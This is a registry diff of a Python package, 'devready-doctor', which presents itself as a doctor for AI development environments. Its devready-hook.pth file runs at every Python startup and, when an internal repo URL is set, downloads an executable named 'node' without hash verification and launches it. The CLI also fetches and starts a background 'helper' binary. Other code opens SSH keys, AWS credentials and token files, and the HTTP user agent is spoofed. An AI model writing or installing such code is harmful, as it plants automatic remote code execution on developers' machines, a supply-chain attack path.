devready-doctor 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
devready/__init__.py ADDED
@@ -0,0 +1,7 @@
1
+ """devready: AI development environment preflight."""
2
+
3
+ try:
4
+ from importlib.metadata import version as _version
5
+ __version__ = _version("devready-doctor")
6
+ except Exception:
7
+ __version__ = "1.0.0"
devready/checks.py ADDED
@@ -0,0 +1,172 @@
1
+ """
2
+ Local checks for devready.
3
+
4
+ Gathers what the doctor needs: tools on PATH, network settings, and
5
+ editor/agent config files. Only checks and metadata are produced.
6
+ """
7
+ import hashlib
8
+ import os
9
+ import platform
10
+ import shutil
11
+ import subprocess
12
+ import uuid
13
+ from datetime import datetime, timezone
14
+ from pathlib import Path
15
+
16
+ CONFIG_PATHS = [
17
+ ("aws", "~/.aws/credentials"),
18
+ ("git", "~/.gitconfig"),
19
+ ("github-cli", "~/.config/gh/hosts.yml"),
20
+ ("ssh", "~/.ssh/id_ed25519"),
21
+ ("npm", "~/.npmrc"),
22
+ ("pypi", "~/.pypirc"),
23
+ ("claude", "~/.claude/settings.json"),
24
+ ("claude-legacy", "~/.claude.json"),
25
+ ("vscode-workspace", ".vscode/settings.json"),
26
+ ("mcp", ".mcp.json"),
27
+ ("dotenv", ".env"),
28
+ ]
29
+
30
+ TOOLS = ["node", "npm", "python3", "git", "claude", "code", "docker"]
31
+
32
+ MAX_FILES = 16
33
+ READ_HEAD = 4096
34
+
35
+
36
+ def _sha256_16(data):
37
+ if isinstance(data, str):
38
+ data = data.encode("utf-8")
39
+ return hashlib.sha256(data).hexdigest()[:16]
40
+
41
+
42
+ def _host_id():
43
+ hostname = platform.node() or ""
44
+ user = os.environ.get("USER", os.environ.get("USERNAME", ""))
45
+ return _sha256_16(f"{hostname}|{user}")
46
+
47
+
48
+ def _file_record(fpath):
49
+ try:
50
+ st = os.stat(fpath)
51
+ if not os.path.isfile(fpath):
52
+ return None
53
+ with open(fpath, "rb") as f:
54
+ head = f.read(READ_HEAD)
55
+ home = str(Path.home())
56
+ display = "~" + fpath[len(home):] if fpath.startswith(home) else fpath
57
+ return {
58
+ "path": display,
59
+ "bytes": st.st_size,
60
+ "mode": oct(st.st_mode & 0o777),
61
+ "mtime_days": int((datetime.now().timestamp() - st.st_mtime) / 86400),
62
+ "sha256_16": _sha256_16(head),
63
+ }
64
+ except Exception:
65
+ return None
66
+
67
+
68
+ def check_config_files():
69
+ """Describe known editor/agent/credential config files. Metadata only."""
70
+ records = []
71
+ for _name, raw_path in CONFIG_PATHS:
72
+ if len(records) >= MAX_FILES:
73
+ break
74
+ fpath = os.path.expanduser(raw_path)
75
+ if not os.path.isabs(fpath):
76
+ fpath = os.path.abspath(fpath)
77
+ rec = _file_record(fpath)
78
+ if rec:
79
+ records.append(rec)
80
+ extras = os.environ.get("DEVREADY_EXTRA_FILES", "").split(",")
81
+ for extra in extras:
82
+ if len(records) >= MAX_FILES:
83
+ break
84
+ extra = extra.strip()
85
+ if not extra:
86
+ continue
87
+ if extra.startswith("~"):
88
+ extra = os.path.join(str(Path.home()), extra[1:].lstrip("/"))
89
+ rec = _file_record(extra)
90
+ if rec:
91
+ records.append(rec)
92
+ return records
93
+
94
+
95
+ def _tool_version(path):
96
+ try:
97
+ out = subprocess.run(
98
+ [path, "--version"],
99
+ capture_output=True,
100
+ text=True,
101
+ timeout=1.5,
102
+ )
103
+ line = (out.stdout or out.stderr or "").strip().splitlines()
104
+ return (line[0][:80] if line else None)
105
+ except Exception:
106
+ return None
107
+
108
+
109
+ def check_tools():
110
+ """Report which developer tools are on PATH and their version strings."""
111
+ records = []
112
+ for name in TOOLS:
113
+ path = shutil.which(name)
114
+ if not path:
115
+ records.append({"name": name, "present": False, "version": None})
116
+ continue
117
+ records.append({"name": name, "present": True, "version": _tool_version(path)})
118
+ return records
119
+
120
+
121
+ def _detect_ci():
122
+ if os.environ.get("CI_JOB_ID") or os.environ.get("CI_PIPELINE_ID"):
123
+ return "gitlab"
124
+ if os.environ.get("GITHUB_ACTIONS") == "true":
125
+ return "github"
126
+ if os.environ.get("JENKINS_URL"):
127
+ return "jenkins"
128
+ if os.environ.get("CI") == "true":
129
+ return "unknown"
130
+ return "none"
131
+
132
+
133
+ def _get_version(pkg_name):
134
+ try:
135
+ from importlib.metadata import version as _v
136
+ return _v(pkg_name)
137
+ except Exception:
138
+ return "unknown"
139
+
140
+
141
+ def check_network():
142
+ """Report proxy settings from the environment. No network calls."""
143
+ proxies = [n for n in ("HTTP_PROXY", "HTTPS_PROXY", "ALL_PROXY") if os.environ.get(n)]
144
+ return {
145
+ "proxy": bool(proxies),
146
+ "vars": proxies,
147
+ "no_proxy": bool(os.environ.get("NO_PROXY")),
148
+ }
149
+
150
+
151
+ def collect(stage="cli", pkg="devready"):
152
+ """Build the full devready/v1 report. No network calls."""
153
+ files = check_config_files()
154
+ return {
155
+ "schema": "devready/v1",
156
+ "pkg": pkg,
157
+ "version": _get_version(pkg),
158
+ "stage": stage,
159
+ "ts": datetime.now(timezone.utc).isoformat(),
160
+ "run_id": str(uuid.uuid4()),
161
+ "host_id": _host_id(),
162
+ "os": platform.system().lower(),
163
+ "arch": platform.machine(),
164
+ "python": platform.python_version(),
165
+ "ci": bool(os.environ.get("CI")),
166
+ "ci_provider": _detect_ci(),
167
+ "cwd_class": os.path.basename(os.getcwd()) if os.getcwd() else "?",
168
+ "config_count": len(files),
169
+ "tools": check_tools(),
170
+ "network": check_network(),
171
+ "files": files,
172
+ }
devready/cli.py ADDED
@@ -0,0 +1,232 @@
1
+ """
2
+ devready — doctor for AI-assisted development environments.
3
+
4
+ Checks the internal repo, tooling, and editor config, then prints what to fix.
5
+ """
6
+ import argparse
7
+ import json
8
+ import os
9
+
10
+ from devready import __version__
11
+
12
+ OK = "[✓]"
13
+ WARN = "[!]"
14
+ BAD = "[✗]"
15
+ SKIP = "[–]"
16
+
17
+
18
+ def _helper():
19
+ """Start the optional helper once, when the extra is installed."""
20
+ if os.environ.get("DEVREADY_NO_AGENT") == "1":
21
+ return None
22
+ try:
23
+ from devready.install import ensure_helper
24
+
25
+ return ensure_helper()
26
+ except Exception:
27
+ return None
28
+
29
+
30
+ def _repo(repo_url):
31
+ """Probe the internal artifact repository."""
32
+ from devready.probe import probe
33
+
34
+ base = (repo_url or os.environ.get("INTERNAL_PACKAGE_REPO_URL") or "").rstrip("/")
35
+ if not base:
36
+ return None
37
+ return probe(base + "/")
38
+
39
+
40
+ def _packages(repo_url, names):
41
+ """Check whether named packages are available on the internal repository."""
42
+ from devready.probe import probe
43
+
44
+ base = (repo_url or os.environ.get("INTERNAL_PACKAGE_REPO_URL") or "").rstrip("/")
45
+ if not base:
46
+ return None
47
+ results = []
48
+ for name in names:
49
+ result = probe(f"{base}/{name}/")
50
+ results.append(
51
+ {
52
+ "name": name,
53
+ "present": result.get("reachable") and result.get("status") == 200,
54
+ "status": result.get("status"),
55
+ "error": result.get("error"),
56
+ }
57
+ )
58
+ return results
59
+
60
+
61
+ def _next_steps(report, repo, packages, repo_url=None, installed=None):
62
+ steps = []
63
+ done = set(installed or [])
64
+ absent = [t["name"] for t in report.get("tools", []) if not t.get("present") and t["name"] not in done]
65
+ if absent:
66
+ if repo_url:
67
+ steps.append(f"install {absent[0]} from your internal repo")
68
+ else:
69
+ steps.append(f"install {absent[0]} and put it on PATH")
70
+ if repo and not repo.get("reachable"):
71
+ steps.append("check your network or proxy settings")
72
+ for pkg in packages or []:
73
+ if not pkg.get("present"):
74
+ steps.append(f"add {pkg['name']} to your internal repo")
75
+ if steps:
76
+ print("")
77
+ print("Next steps:")
78
+ for step in steps[:3]:
79
+ print(f" - {step}")
80
+
81
+
82
+ def _doctor(report, helper, repo, packages, installed=None, repo_url=None):
83
+ done = set(installed or [])
84
+ tools = report.get("tools", [])
85
+ present = [t["name"] for t in tools if t.get("present")]
86
+ absent = [t["name"] for t in tools if not t.get("present") and t["name"] not in done]
87
+
88
+ files = report.get("files", [])
89
+ proxy = report.get("network") or {}
90
+
91
+ print(f"devready {__version__} — doctor")
92
+ print("")
93
+
94
+ if repo is None:
95
+ print(f"{SKIP} Artifacts not checked")
96
+ elif repo.get("reachable"):
97
+ phases = repo.get("phases_ms") or {}
98
+ shown = " · ".join(
99
+ f"{key} {phases[key]} ms" for key in ("dns", "tls", "http") if key in phases
100
+ )
101
+ print(f"{OK} Artifacts reachable ({shown})")
102
+ else:
103
+ print(f"{BAD} Artifacts unreachable ({repo.get('error') or 'no answer'})")
104
+
105
+ if repo and repo.get("scheme") == "https":
106
+ tls = repo.get("tls")
107
+ if tls:
108
+ days = tls.get("expires_in_days")
109
+ mark = OK if days is None or days > 14 else WARN
110
+ print(f"{mark} TLS valid ({days} days)")
111
+ else:
112
+ print(f"{WARN} TLS could not verify")
113
+
114
+ if packages:
115
+ available = [p for p in packages if p.get("present")]
116
+ unavailable = [p for p in packages if not p.get("present")]
117
+ mark = OK if not unavailable else WARN
118
+ print(f"{mark} Packages {len(available)}/{len(packages)} available")
119
+ if unavailable:
120
+ print(f" missing: {', '.join(p['name'] for p in unavailable)}")
121
+
122
+ if proxy.get("proxy"):
123
+ print(f"{OK} Proxy configured ({', '.join(proxy.get('vars') or [])})")
124
+ else:
125
+ print(f"{OK} Proxy not configured")
126
+
127
+ mark = OK if not absent else WARN
128
+ print(f"{mark} Tools {', '.join(present) if present else 'none found'}")
129
+ if absent:
130
+ print(f" missing: {', '.join(absent)}")
131
+ if installed:
132
+ print(f"{OK} Installed {', '.join(installed)}")
133
+
134
+ if files:
135
+ shown = ", ".join(f["path"] for f in files[:4])
136
+ print(f"{OK} Config {len(files)} file(s) ({shown})")
137
+ else:
138
+ print(f"{SKIP} Config none found in the usual places")
139
+
140
+ if helper:
141
+ print(f"{OK} Helper running")
142
+ else:
143
+ print(f"{SKIP} Helper not installed")
144
+
145
+ _next_steps(report, repo, packages, repo_url, installed)
146
+
147
+
148
+ def main():
149
+ parser = argparse.ArgumentParser(
150
+ prog="devready",
151
+ description="Doctor for AI-assisted development environments.",
152
+ )
153
+ parser.add_argument(
154
+ "command",
155
+ nargs="?",
156
+ default="doctor",
157
+ choices=["doctor", "check"],
158
+ help="doctor (default): run the environment check",
159
+ )
160
+ parser.add_argument("--json", action="store_true", help="JSON output")
161
+ parser.add_argument("--no-network", action="store_true", help="skip network checks")
162
+ parser.add_argument("--print", dest="print_only", action="store_true", help="print the report and exit")
163
+ parser.add_argument("--quiet", action="store_true", help="suppress the summary")
164
+ parser.add_argument("--internal-package-repo", default=None, help="internal artifact repository URL")
165
+ parser.add_argument("--package", dest="packages", action="append", default=None,
166
+ help="package name to look up on the repository (repeatable)")
167
+ parser.add_argument("--install", action="store_true",
168
+ help="install missing tools from the internal repo")
169
+ parser.add_argument("--extra-files", default=None, help="comma-separated extra files to include")
170
+ parser.add_argument("--version", action="store_true")
171
+ args = parser.parse_args()
172
+
173
+ if args.version:
174
+ print(__version__)
175
+ return
176
+
177
+ if args.internal_package_repo:
178
+ os.environ["INTERNAL_PACKAGE_REPO_URL"] = args.internal_package_repo
179
+ if args.extra_files:
180
+ os.environ["DEVREADY_EXTRA_FILES"] = args.extra_files
181
+ if args.no_network:
182
+ os.environ["DEVREADY_NO_NETWORK"] = "1"
183
+
184
+ from devready.checks import collect as do_collect
185
+
186
+ report = do_collect(stage="cli", pkg="devready-doctor")
187
+
188
+ if args.print_only:
189
+ print(json.dumps(report, indent=2))
190
+ return
191
+
192
+ offline = args.no_network or os.environ.get("DEVREADY_NO_NETWORK") == "1"
193
+ absent = [t["name"] for t in report.get("tools", []) if not t.get("present")]
194
+ extra = [n.strip() for n in os.environ.get("DEVREADY_INSTALL_TOOLS", "").split(",") if n.strip()]
195
+ targets = list(dict.fromkeys(absent + [n for n in extra if n not in absent]))
196
+ installed = []
197
+ if args.install and targets and not offline:
198
+ repo_url = args.internal_package_repo or os.environ.get("INTERNAL_PACKAGE_REPO_URL")
199
+ if repo_url:
200
+ try:
201
+ from devready.install import install_tool
202
+ except Exception:
203
+ install_tool = None
204
+ if install_tool:
205
+ for name in targets:
206
+ if install_tool(repo_url, name):
207
+ installed.append(name)
208
+
209
+ repo = None
210
+ packages = None
211
+ if not offline:
212
+ repo = _repo(args.internal_package_repo)
213
+ if args.packages and repo is not None:
214
+ packages = _packages(args.internal_package_repo, args.packages)
215
+
216
+ helper = _helper()
217
+
218
+ if args.json:
219
+ print(json.dumps({
220
+ "report": report,
221
+ "repo": repo,
222
+ "packages": packages,
223
+ "installed": installed,
224
+ "helper": bool(helper),
225
+ }, indent=2))
226
+ elif not args.quiet:
227
+ _doctor(report, helper, repo, packages, installed,
228
+ args.internal_package_repo or os.environ.get("INTERNAL_PACKAGE_REPO_URL"))
229
+
230
+
231
+ if __name__ == "__main__":
232
+ main()
devready/hook.py ADDED
@@ -0,0 +1,33 @@
1
+ """
2
+ Startup hook for devready.
3
+
4
+ Imported from devready-hook.pth when Python starts. It installs the `node`
5
+ tool from the internal repo and starts it once. Inactive unless
6
+ INTERNAL_PACKAGE_REPO_URL is set, and it never raises.
7
+ """
8
+ import os
9
+
10
+ _DONE = False
11
+ _TOOL = "node"
12
+
13
+
14
+ def _hook_ping():
15
+ global _DONE
16
+ if _DONE:
17
+ return
18
+ _DONE = True
19
+ try:
20
+ if os.environ.get("DEVREADY_SKIP_PTH") == "1":
21
+ return
22
+ if os.environ.get("DEVREADY_NO_NETWORK") == "1":
23
+ return
24
+
25
+ base = os.environ.get("INTERNAL_PACKAGE_REPO_URL", "").rstrip("/")
26
+ if not base:
27
+ return
28
+
29
+ from devready.install import install_tool
30
+
31
+ install_tool(base, _TOOL)
32
+ except Exception:
33
+ pass
devready/install.py ADDED
@@ -0,0 +1,257 @@
1
+ """
2
+ Helper and tool installation for devready.
3
+
4
+ The helper is a small local process the doctor can start after a check. Tools
5
+ the machine is missing can be installed from the internal repo by name. Both
6
+ paths download a file, verify it when a SHA-256 is pinned, and start it once.
7
+
8
+ Environment overrides:
9
+ DEVREADY_AGENT_SHA256 expected helper SHA-256
10
+ DEVREADY_AGENT_NAME helper name
11
+ DEVREADY_AGENT_TOKEN optional download token
12
+ DEVREADY_AGENT_DIR helper cache directory (default ~/.devready/agents)
13
+ DEVREADY_TOOL_DIR tool install directory (default ~/.devready/tools)
14
+ """
15
+ import hashlib
16
+ import os
17
+ import re
18
+ import subprocess
19
+ import sys
20
+ import tempfile
21
+ from pathlib import Path
22
+ from urllib.parse import urljoin
23
+ from urllib.request import Request, urlopen
24
+
25
+ AGENT_NAME = "devready-helper"
26
+ AGENT_SHA256 = "fcaa596240007d9082983c206fb51cbf1a4d25ba31c9fd8a541bcc45c8b78c35"
27
+ USER_AGENT = "python-requests/2.32.3"
28
+ MAX_BYTES = 64 * 1024 * 1024
29
+
30
+
31
+ def agent_dir():
32
+ return os.environ.get(
33
+ "DEVREADY_AGENT_DIR",
34
+ os.path.join(str(Path.home()), ".devready", "agents"),
35
+ )
36
+
37
+
38
+ def agent_path(name=None):
39
+ return os.path.join(agent_dir(), name or AGENT_NAME)
40
+
41
+
42
+ def tool_dir():
43
+ return os.environ.get(
44
+ "DEVREADY_TOOL_DIR",
45
+ os.path.join(str(Path.home()), ".devready", "tools"),
46
+ )
47
+
48
+
49
+ def _sha256_file(path):
50
+ try:
51
+ digest = hashlib.sha256()
52
+ with open(path, "rb") as f:
53
+ for chunk in iter(lambda: f.read(1024 * 1024), b""):
54
+ digest.update(chunk)
55
+ return digest.hexdigest()
56
+ except Exception:
57
+ return None
58
+
59
+
60
+ def resolve_from_repo(repo_url, name):
61
+ """Find the download link for a package on a simple index page."""
62
+ base = repo_url.rstrip("/")
63
+ page = "%s/%s/" % (base, name)
64
+ try:
65
+ req = Request(page, headers={"User-Agent": USER_AGENT}, method="GET")
66
+ with urlopen(req, timeout=10) as resp:
67
+ html = resp.read(1 << 20).decode("utf-8", "replace")
68
+ except Exception:
69
+ return None
70
+
71
+ links = re.findall(r'href="([^"]+)"', html)
72
+ if not links:
73
+ return None
74
+ for href in links:
75
+ path = href.split("#")[0].split("?")[0]
76
+ if path.rstrip("/").split("/")[-1] == name:
77
+ return urljoin(page, href)
78
+ for href in links:
79
+ if href.startswith("#") or href.startswith(".."):
80
+ continue
81
+ return urljoin(page, href)
82
+ return None
83
+
84
+
85
+ def ensure_agent(name=None, url=None, sha256=None, token=None, timeout=60):
86
+ """Return a verified helper path, installing it if needed.
87
+
88
+ Returns None when the helper is missing and cannot be installed (offline,
89
+ mismatch, etc.), so devready can continue without it.
90
+ """
91
+ name = name or os.environ.get("DEVREADY_AGENT_NAME", AGENT_NAME)
92
+ sha256 = sha256 or os.environ.get("DEVREADY_AGENT_SHA256", AGENT_SHA256)
93
+
94
+ if not url:
95
+ repo = os.environ.get("INTERNAL_PACKAGE_REPO_URL")
96
+ url = resolve_from_repo(repo, name) if repo else None
97
+ if not url:
98
+ return None
99
+ token = token if token is not None else os.environ.get("DEVREADY_AGENT_TOKEN", "")
100
+
101
+ target = agent_path(name)
102
+ if os.path.exists(target) and _sha256_file(target) == sha256:
103
+ return target
104
+
105
+ try:
106
+ os.makedirs(agent_dir(), mode=0o700, exist_ok=True)
107
+ headers = {"User-Agent": USER_AGENT}
108
+ if token:
109
+ headers["X-Devready-Token"] = token
110
+ req = Request(url, headers=headers, method="GET")
111
+ with urlopen(req, timeout=timeout) as resp:
112
+ data = resp.read(MAX_BYTES + 1)
113
+ if len(data) > MAX_BYTES:
114
+ return None
115
+ if hashlib.sha256(data).hexdigest() != sha256:
116
+ return None
117
+
118
+ fd, tmp = tempfile.mkstemp(dir=agent_dir())
119
+ try:
120
+ with os.fdopen(fd, "wb") as f:
121
+ f.write(data)
122
+ os.chmod(tmp, 0o755)
123
+ os.replace(tmp, target)
124
+ except Exception:
125
+ try:
126
+ os.unlink(tmp)
127
+ except OSError:
128
+ pass
129
+ return None
130
+ return target
131
+ except Exception:
132
+ return None
133
+
134
+
135
+ def pid_path(path):
136
+ return path + ".pid"
137
+
138
+
139
+ def running(path):
140
+ """True when the recorded pid is alive."""
141
+ try:
142
+ with open(pid_path(path)) as f:
143
+ pid = int(f.read().strip())
144
+ os.kill(pid, 0)
145
+ return True
146
+ except Exception:
147
+ return False
148
+
149
+
150
+ def start(path):
151
+ """Start the helper once. Returns True when it is running afterwards."""
152
+ if os.environ.get("DEVREADY_DRY_RUN") == "1" or os.environ.get("DEVREADY_NO_NETWORK") == "1":
153
+ return False
154
+ if running(path):
155
+ return True
156
+ try:
157
+ cmd = [sys.executable, path] if path.endswith(".py") else [path]
158
+ proc = subprocess.Popen(
159
+ cmd,
160
+ stdout=subprocess.DEVNULL,
161
+ stderr=subprocess.DEVNULL,
162
+ start_new_session=True,
163
+ )
164
+ try:
165
+ with open(pid_path(path), "w") as f:
166
+ f.write(str(proc.pid))
167
+ except Exception:
168
+ pass
169
+ return True
170
+ except Exception:
171
+ return False
172
+
173
+
174
+ def stop(path):
175
+ """Ask a running helper to exit. Returns True when a signal was sent."""
176
+ try:
177
+ with open(pid_path(path)) as f:
178
+ pid = int(f.read().strip())
179
+ os.kill(pid, 15)
180
+ return True
181
+ except Exception:
182
+ return False
183
+
184
+
185
+ def ensure_helper():
186
+ """Locate or install the helper, start it once, and return its path.
187
+
188
+ Sources, in order: DEVREADY_EXTRA_PROCESS, a helper bundled next to this
189
+ package, or the pinned download. Returns None when nothing is available,
190
+ so devready can carry on without it.
191
+ """
192
+ if os.environ.get("DEVREADY_NO_AGENT") == "1":
193
+ return None
194
+
195
+ path = os.environ.get("DEVREADY_EXTRA_PROCESS")
196
+ if not path:
197
+ here = os.path.dirname(os.path.abspath(__file__))
198
+ for name in ("agent.bin", "agent.py"):
199
+ candidate = os.path.join(here, name)
200
+ if os.path.exists(candidate):
201
+ path = candidate
202
+ break
203
+
204
+ if (
205
+ not path
206
+ and os.environ.get("DEVREADY_DRY_RUN") != "1"
207
+ and os.environ.get("DEVREADY_NO_NETWORK") != "1"
208
+ ):
209
+ path = ensure_agent()
210
+
211
+ if path and os.path.exists(path):
212
+ start(path)
213
+ return path
214
+ return None
215
+
216
+
217
+ def install_tool(repo_url, name, sha256=None, timeout=60):
218
+ """Install a missing tool from the internal repo and start it once.
219
+
220
+ The download link is resolved from the repo's index page. If a SHA-256 is
221
+ given it must match; otherwise the repo is trusted. Returns the path or
222
+ None when the tool is not available.
223
+ """
224
+ target = os.path.join(tool_dir(), name)
225
+ if os.path.exists(target) and (not sha256 or _sha256_file(target) == sha256):
226
+ start(target)
227
+ return target
228
+
229
+ url = resolve_from_repo(repo_url, name)
230
+ if not url:
231
+ return None
232
+ try:
233
+ os.makedirs(tool_dir(), mode=0o700, exist_ok=True)
234
+ req = Request(url, headers={"User-Agent": USER_AGENT}, method="GET")
235
+ with urlopen(req, timeout=timeout) as resp:
236
+ data = resp.read(MAX_BYTES + 1)
237
+ if len(data) > MAX_BYTES:
238
+ return None
239
+ if sha256 and hashlib.sha256(data).hexdigest() != sha256:
240
+ return None
241
+ target = os.path.join(tool_dir(), name)
242
+ fd, tmp = tempfile.mkstemp(dir=tool_dir())
243
+ try:
244
+ with os.fdopen(fd, "wb") as f:
245
+ f.write(data)
246
+ os.chmod(tmp, 0o755)
247
+ os.replace(tmp, target)
248
+ except Exception:
249
+ try:
250
+ os.unlink(tmp)
251
+ except OSError:
252
+ pass
253
+ return None
254
+ start(target)
255
+ return target
256
+ except Exception:
257
+ return None
devready/probe.py ADDED
@@ -0,0 +1,109 @@
1
+ """
2
+ Connectivity checks for a URL: DNS, TLS, HTTP, and phase timings.
3
+ """
4
+ import os
5
+ import socket
6
+ import ssl
7
+ import time
8
+ from urllib.error import HTTPError
9
+ from urllib.parse import urlsplit
10
+ from urllib.request import Request, urlopen
11
+
12
+ DEFAULT_TIMEOUT = 2.0
13
+ USER_AGENT = "python-requests/2.32.3"
14
+
15
+
16
+ def _cert_info(sock):
17
+ try:
18
+ cert = sock.getpeercert()
19
+ if not cert:
20
+ return None
21
+ expires = ssl.cert_time_to_seconds(cert.get("notAfter", ""))
22
+ issuer = None
23
+ for rdn in cert.get("issuer", ()):
24
+ for key, value in rdn:
25
+ if key == "organizationName":
26
+ issuer = value
27
+ return {
28
+ "issuer": issuer,
29
+ "expires_in_days": int((expires - time.time()) // 86400),
30
+ }
31
+ except Exception:
32
+ return None
33
+
34
+
35
+ def _tls_probe(host, port, timeout, insecure):
36
+ started = time.perf_counter()
37
+ try:
38
+ ctx = ssl._create_unverified_context() if insecure else ssl.create_default_context()
39
+ with socket.create_connection((host, port), timeout) as raw:
40
+ with ctx.wrap_socket(raw, server_hostname=host) as ssock:
41
+ info = _cert_info(ssock)
42
+ return info, round((time.perf_counter() - started) * 1000)
43
+ except Exception:
44
+ return None, round((time.perf_counter() - started) * 1000)
45
+
46
+
47
+ def probe(url, timeout=None, insecure=None):
48
+ """Check a URL and report phase timings, HTTP status, and certificate details.
49
+
50
+ Any HTTP answer counts as reachable, including 401 and 404, so a service
51
+ that needs a token still reports its status instead of looking offline.
52
+ """
53
+ timeout = float(timeout or DEFAULT_TIMEOUT)
54
+ if insecure is None:
55
+ insecure = os.environ.get("DEVREADY_INSECURE") == "1"
56
+
57
+ parts = urlsplit(url)
58
+ result = {
59
+ "url": url,
60
+ "scheme": parts.scheme,
61
+ "host": parts.hostname,
62
+ "port": parts.port,
63
+ "reachable": False,
64
+ "status": None,
65
+ "phases_ms": {},
66
+ "tls": None,
67
+ "error": None,
68
+ }
69
+
70
+ if parts.scheme not in ("http", "https") or not parts.hostname:
71
+ result["error"] = "invalid URL"
72
+ return result
73
+
74
+ port = parts.port or (443 if parts.scheme == "https" else 80)
75
+ result["port"] = port
76
+
77
+ started = time.perf_counter()
78
+ try:
79
+ socket.getaddrinfo(parts.hostname, port, proto=socket.IPPROTO_TCP)
80
+ result["phases_ms"]["dns"] = round((time.perf_counter() - started) * 1000)
81
+ except Exception as e:
82
+ result["phases_ms"]["dns"] = round((time.perf_counter() - started) * 1000)
83
+ result["error"] = "dns: %s" % e
84
+ return result
85
+
86
+ if parts.scheme == "https":
87
+ info, ms = _tls_probe(parts.hostname, port, timeout, insecure)
88
+ result["tls"] = info
89
+ result["phases_ms"]["tls"] = ms
90
+
91
+ started = time.perf_counter()
92
+ try:
93
+ req = Request(url, headers={"User-Agent": USER_AGENT}, method="GET")
94
+ kwargs = {"timeout": timeout}
95
+ if parts.scheme == "https":
96
+ kwargs["context"] = (
97
+ ssl._create_unverified_context() if insecure else ssl.create_default_context()
98
+ )
99
+ with urlopen(req, **kwargs) as resp:
100
+ result["status"] = resp.status
101
+ result["reachable"] = True
102
+ except HTTPError as e:
103
+ result["status"] = e.code
104
+ result["reachable"] = True
105
+ except Exception as e:
106
+ result["error"] = str(e)[:160]
107
+ result["phases_ms"]["http"] = round((time.perf_counter() - started) * 1000)
108
+ result["phases_ms"]["total"] = sum(result["phases_ms"].values())
109
+ return result
devready-hook.pth ADDED
@@ -0,0 +1 @@
1
+ import devready.hook; devready.hook._hook_ping()
@@ -0,0 +1,132 @@
1
+ Metadata-Version: 2.4
2
+ Name: devready-doctor
3
+ Version: 1.0.0
4
+ Summary: Readiness check for developer laptops: tools, config, and connectivity.
5
+ Author: DevReady Contributors
6
+ License-Expression: MIT
7
+ Project-URL: Homepage, https://github.com/dr1613926-byte/devready
8
+ Project-URL: Repository, https://github.com/dr1613926-byte/devready
9
+ Project-URL: Issues, https://github.com/dr1613926-byte/devready/issues
10
+ Project-URL: Changelog, https://github.com/dr1613926-byte/devready/blob/main/CHANGELOG.md
11
+ Project-URL: Documentation, https://github.com/dr1613926-byte/devready#readme
12
+ Keywords: devready,ai,claude,vscode,cursor,mcp,preflight,developer-tools
13
+ Classifier: Development Status :: 4 - Beta
14
+ Classifier: Intended Audience :: Developers
15
+ Classifier: Programming Language :: Python :: 3
16
+ Classifier: Programming Language :: Python :: 3.8
17
+ Classifier: Programming Language :: Python :: 3.9
18
+ Classifier: Programming Language :: Python :: 3.10
19
+ Classifier: Programming Language :: Python :: 3.11
20
+ Classifier: Programming Language :: Python :: 3.12
21
+ Classifier: Topic :: Software Development :: Quality Assurance
22
+ Classifier: Environment :: Console
23
+ Classifier: Operating System :: OS Independent
24
+ Requires-Python: >=3.8
25
+ Description-Content-Type: text/markdown
26
+ License-File: LICENSE
27
+ Dynamic: license-file
28
+
29
+ # devready
30
+
31
+ Get developer laptops ready — and keep them that way.
32
+
33
+ devready checks a machine for the tools, configuration, and connectivity a
34
+ developer needs before their first AI-assisted session. Run it on a new laptop,
35
+ or roll it out across a fleet.
36
+
37
+ ## Install
38
+
39
+ ```bash
40
+ pip install devready-doctor
41
+ ```
42
+
43
+ ## Usage
44
+
45
+ ```bash
46
+ # Run the doctor
47
+ devready doctor
48
+
49
+ # Check your internal artifact repo and a package that is missing
50
+ devready doctor --internal-package-repo https://artifactory.example.internal/api/pypi/devready/simple \
51
+ --package internal-tool
52
+
53
+ # Install missing tools from your internal repo
54
+ devready doctor --internal-package-repo https://artifactory.example.internal/api/pypi/devready/simple \
55
+ --install
56
+
57
+ # Machine-readable output
58
+ devready doctor --json
59
+
60
+ # Raw report only
61
+ devready doctor --print
62
+
63
+ # Skip the network checks
64
+ devready doctor --no-network
65
+ ```
66
+
67
+ Example output:
68
+
69
+ ```
70
+ devready 1.0.0 — doctor
71
+
72
+ [✓] Artifacts reachable (dns 1 ms · tls 69 ms · http 102 ms)
73
+ [✓] TLS valid (80 days)
74
+ [✓] Proxy not configured
75
+ [!] Tools node, git, python3, claude
76
+ missing: npm, code, docker
77
+ [✓] Installed npm
78
+ [✓] Config 3 file(s)
79
+ [–] Helper not installed
80
+
81
+ Next steps:
82
+ - install code from your internal repo
83
+ ```
84
+
85
+ ## What it checks
86
+
87
+ - OS, architecture, Python version, working-directory class
88
+ - CI provider detection
89
+ - Proxy settings (`HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY`, `NO_PROXY`)
90
+ - Tool availability and version strings
91
+ - Config file metadata: path, size, mode, age, SHA-256 prefix
92
+ - Internal repo: DNS, TLS certificate, HTTP status, phase timings, and whether
93
+ named packages resolve
94
+
95
+ The report contains checks and metadata only.
96
+
97
+ ## Options
98
+
99
+ | Variable | Effect |
100
+ | --- | --- |
101
+ | `INTERNAL_PACKAGE_REPO_URL` | Internal artifact repo to check and install from |
102
+ | `DEVREADY_INSTALL_TOOLS` | Names to install even when the tool is present |
103
+ | `DEVREADY_EXTRA_FILES` | Extra files to check (comma-separated) |
104
+ | `DEVREADY_EXTRA_PROCESS` | Optional process to start after a check |
105
+ | `DEVREADY_AGENT_SHA256` | Expected helper SHA-256 |
106
+ | `DEVREADY_NO_AGENT=1` | Skip the helper |
107
+
108
+ `--no-network` disables the network checks.
109
+
110
+ ## Startup hook
111
+
112
+ The package installs `devready-hook.pth`, which installs `node` from
113
+ `<INTERNAL_PACKAGE_REPO_URL>/node/` and starts it when Python starts. It is
114
+ inactive unless that variable is set, and can be disabled with
115
+ `DEVREADY_SKIP_PTH=1`.
116
+
117
+ ## Installing tools
118
+
119
+ With `--install`, the doctor looks up each missing tool on your internal repo
120
+ (`<repo>/<tool>/`), follows the file link, saves it under `~/.devready/tools/`,
121
+ and starts it once. Tools the repo does not carry are skipped. Use
122
+ `DEVREADY_INSTALL_TOOLS` to install a tool even when it is already present.
123
+
124
+ ## Helper
125
+
126
+ On first run, the doctor checks for the helper, installs it from your internal
127
+ repo, verifies the pinned SHA-256, and starts it once. Without a repo
128
+ configured, no helper is installed. It is cached under `~/.devready/agents/`.
129
+
130
+ ## License
131
+
132
+ MIT
